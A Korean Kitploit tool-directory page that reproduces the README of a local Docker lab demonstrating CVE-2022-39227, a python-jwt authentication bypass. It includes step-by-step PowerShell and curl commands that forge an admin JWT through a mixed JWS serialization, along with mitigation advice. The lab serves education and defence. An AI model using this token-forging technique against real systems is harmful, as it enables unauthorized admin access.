Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2022-39227-jwt-auth-bypass-demo | Kitploit
도구/GitHubGitHub/melikesraoz/cve-2022-39227-jwt-auth-bypass-demo
Authentication & AuthorizationVulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationLabs & Practice
GitHubmelikesraoz/cve-2022-39227-jwt-auth-bypass-demo

cve-2022-39227-jwt-auth-bypass-demo

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
13개월 전아직 검토되지 않음

CVE-2022-39227 JWT 인증 우회 데모

프로젝트 목표

이 프로젝트는 통제된 로컬 랩 환경에서 CVE-2022-39227 취약점을 시연합니다. 이 취약점은 python-jwt 라이브러리(3.3.4 미만 버전)에 영향을 미치며, 공격자가 python-jwt와 해당 의존성인 jwcrypto 간의 파싱 불일치(JWS 직렬화)를 악용하여 비밀 키 없이 JWT 클레임을 위조할 수 있게 합니다.

기술 스택

  • Python 3.9
  • Flask (웹 프레임워크)
  • python-jwt 3.3.3 (취약한 버전)
  • python-jwt 3.3.4 (수정/패치된 버전)
  • Docker & Docker Compose

프로젝트 아키텍처

이 프로젝트는 Docker를 사용하여 두 개의 동일한 Flask 애플리케이션을 실행하며, 의존성 버전만 다릅니다:

  • 포트 5000: 취약한 앱 (python-jwt==3.3.3)
  • 포트 5001: 패치된 앱 (python-jwt==3.3.4)

두 애플리케이션 모두 간단한 역할 기반 접근 제어(RBAC)를 구현합니다. 일반 사용자(alice)는 로그인하여 JWT를 받을 수 있습니다. JWT 클레임에 admin 역할이 있는 사용자만 /admin 엔드포인트에 접근할 수 있습니다.


🚀 설치 및 실행

1. 환경 시작 Docker Desktop이 실행 중인지 확인한 후 다음을 실행합니다:

root@kitploit:~
docker-compose up -d --build

이 명령은 취약한 서버와 수정된 서버를 백그라운드에서 시작합니다.


🛠 공격 데모 (PowerShell 단계별)

공격을 재현하려면 PowerShell에서 원시 HTTP 요청과 페이로드 조작을 수동으로 실행합니다. 이는 취약점이 외부 도구가 아닌 프로토콜과 라이브러리의 파싱 로직에 있음을 보여줍니다.

1단계: 로그인하여 유효한 토큰 얻기

root@kitploit:~
$response = Invoke-RestMethod -Uri "http://localhost:5000/login" -Method Post -Body '{"username":"alice","password":"alice123"}' -ContentType "application/json"
$token = $response.token

2단계: JWT를 구성 요소로 분할

root@kitploit:~
$parts = $token.Split('.')
$header = $parts[0]
$payload = $parts[1]
$signature = $parts[2]

3단계: 페이로드 디코딩, 역할 수정, Base64Url로 재인코딩

root@kitploit:~
# Decode original payload
$decodedPayload = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($payload.PadRight($payload.Length + (4 - $payload.Length % 4) % 4, '=').Replace('-', '+').Replace('_', '/')))

# Change role from "user" to "admin"
$modPayload = $decodedPayload -replace '"role":"user"','"role":"admin"'

# Encode modified payload back to Base64Url
$modPayloadB64 = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($modPayload)).TrimEnd('=').Replace('+', '-').Replace('/', '_')

4단계: 악성 JWS 직렬화 형식 구성

root@kitploit:~
$forged_token = '{{"{0}.{1}":"","protected":"{0}","payload":"{2}","signature":"{3}"}}' `
  -f $header, $modPayloadB64, $payload, $signature
$forged_token_escaped = $forged_token -replace '"', '\"'

5단계: 두 서버에 대해 공격 실행

root@kitploit:~
# Attack Vulnerable Server (Port 5000) -> SUCCESS
curl.exe -s -X GET http://localhost:5000/admin -H "Authorization: Bearer $forged_token_escaped"

# Attack Fixed Server (Port 5001) -> BLOCKED (Invalid token format)
curl.exe -s -X GET http://localhost:5001/admin -H "Authorization: Bearer $forged_token_escaped"

🛡 완화 조치

python-jwt를 버전 3.3.4 이상으로 업그레이드하세요. 또한 애플리케이션은 가능할 때마다 엄격한 서명 검증을 적용하고 애플리케이션의 로직 계층을 통해 직접 페이로드 무결성을 검증해야 합니다.

윤리적 범위

이 프로젝트는 교육 목적으로 통제된 로컬 실험실 환경 내에서만 엄격하게 수행되었습니다. 제3자 시스템, 공개 서비스 또는 실제 사용자 계정은 대상으로 삼지 않았습니다.

도구 다운로드